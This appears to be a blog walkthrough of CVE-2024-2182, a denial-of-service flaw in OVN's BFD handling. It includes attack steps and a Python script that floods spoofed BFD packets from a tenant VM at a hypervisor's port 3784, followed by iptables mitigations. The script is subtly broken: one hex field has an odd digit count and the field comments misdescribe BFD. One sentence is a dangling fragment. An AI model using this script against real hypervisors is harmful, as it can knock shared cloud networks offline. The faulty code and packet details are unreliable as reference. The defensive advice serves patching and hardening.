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CVE-2024-2182 - Denial of Service in OVN BFD – A Detailed Walkthrough and Exploitation Demo

Poster -

The Open Virtual Network (OVN) is a popular open-source network virtualization solution widely adopted with Open vSwitch (OVS). This system allows multiple virtual machines or containers to communicate as if they were on the same physical network. However, a recently discovered vulnerability, CVE-2024-2182, exposes OVN deployments to a potential Denial of Service (DoS) attack. Let’s explore what this means, how it works, and how attackers can exploit it.

What is CVE-2024-2182?

CVE-2024-2182 is a high-severity security flaw found in OVN. If you use OVN clusters configured to use the Bidirectional Forwarding Detection (BFD) protocol for high availability between hypervisors, then you need to pay attention.

The Flaw

Attackers can inject fake or malformed BFD packets from within unprivileged workloads—meaning even untrusted virtual machines or containers running inside your environment. These bad packets can confuse the OVN BFD implementation, effectively knocking parts of your cluster offline or causing network interruptions.

Understanding BFD in OVN

BFD is a keep-alive mechanism: it sends small, fast heartbeat packets between network nodes (hypervisors). If a node stops receiving responses, OVN can re-route traffic, improving high-availability. But BFD isn’t supposed to accept packets from just any workload! That’s where the problem comes in: OVN didn’t fully lock down how BFD packets are validated, so VMs or containers can send their own, malicious BFD messages right onto the wire.

Scenario

Imagine you’re running a cloud with OVN. Customers’ VMs or containers run on your hypervisors. BFD monitors connectivity between these hypervisors for HA. An attacker with access to *any* VM on your system can start sending malicious BFD packets to the hypervisor’s BFD endpoint.

Exploitation Steps

1. Compromise or Deploy a VM or Container: The attacker gains shell access to any unprivileged workload.
2. Craft Malicious BFD Packets: This could be packets that spoof status, drop sessions, or flood the endpoint.
3. Send Them to the BFD Port: Usually UDP/3784 on the hypervisor’s tunnel interface.
4. Trigger Disruptions: The receiving hypervisor gets confused, thinks the BFD session is down, and OVN fails over network routes or marks links as failed.

Sample Python Exploit Code

Below is a simple code snippet an attacker might use from inside a VM or container to send spoofed BFD packets:

import socket

BFD_PORT = 3784  # Default BFD port
TARGET_IP = '192.168.122.1'  # IP of the hypervisor's tunnel endpoint

# Simple BFD packet, not fully compliant (for demo purposes)
bfd_pkt = bytes.fromhex(
    '20 01 00 01'  # BFD header example (version, diag, state)
    '00 14 00 a'  # Desired min TX/RX (20ms/10ms)
    '00 00 00 01'  # Detection multiplier
    '00 00 00 00'  # My discriminator
    '00 00 00 00'  # Your discriminator
    '00 00 00 00'  # Authentication, etc
)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for _ in range(100):  # Flood for effect
    sock.sendto(bfd_pkt, (TARGET_IP, BFD_PORT))

*Note: The real exploit might need to know actual session fields, but this shows how easy it is to get started.*

Cause failovers, potentially leading to further instability as OVN tries to rebalance

You can easily end up with a partial or complete outage, *just from a single user in a VM*.

Mitigation and Patches

If you use OVN with BFD enabled, patch as soon as possible.

- Official Patch and Upstream Fix: OVN Mailing List Advisory
- OVN Issue Discussed: OVN GitHub Issue 3336
- Mitigation: Restrict BFD packets at the hypervisor firewall to only accept packets from known, trusted address ranges (for example, not from VMs/Containers).

Example firewall rule (iptables)

# Block BFD packets from internal VM networks
iptables -A INPUT -p udp --dport 3784 -i br-int -j DROP

Or, more precisely, ensure only the tunnel interface (not guest interfaces) can receive BFD, e.g.

# Allow BFD only from other hypervisors over the physical/tunnel interface
iptables -A INPUT -p udp --dport 3784 ! -i br-int -j ACCEPT

References

- Red Hat Security Advisory (CVE-2024-2182)
- OVN Bug Tracker - Issue 3336
- Open vSwitch Mailing List Announcement
- Understanding BFD (Wikipedia)

Conclusion

CVE-2024-2182 is a sobering reminder that hypervisor isolation is essential, and even “internal” mechanisms like BFD must be guarded from tenant interference. The exploit is simple enough that anyone with shell access to a VM or container can potentially take down network routes.

Patch now, and check your firewalls! For safer OVN clusters, limit where BFD packets can come from and upgrade to the latest, fixed versions.

*Stay safe out there! If you operate OVN or Open vSwitch, update and audit your configurations today.*


*This post is exclusive to this platform. If you need more details or help checking your environment, reply below!*

Timeline

Published on: 03/12/2024 17:15:59 UTC
Last modified on: 03/23/2024 03:15:12 UTC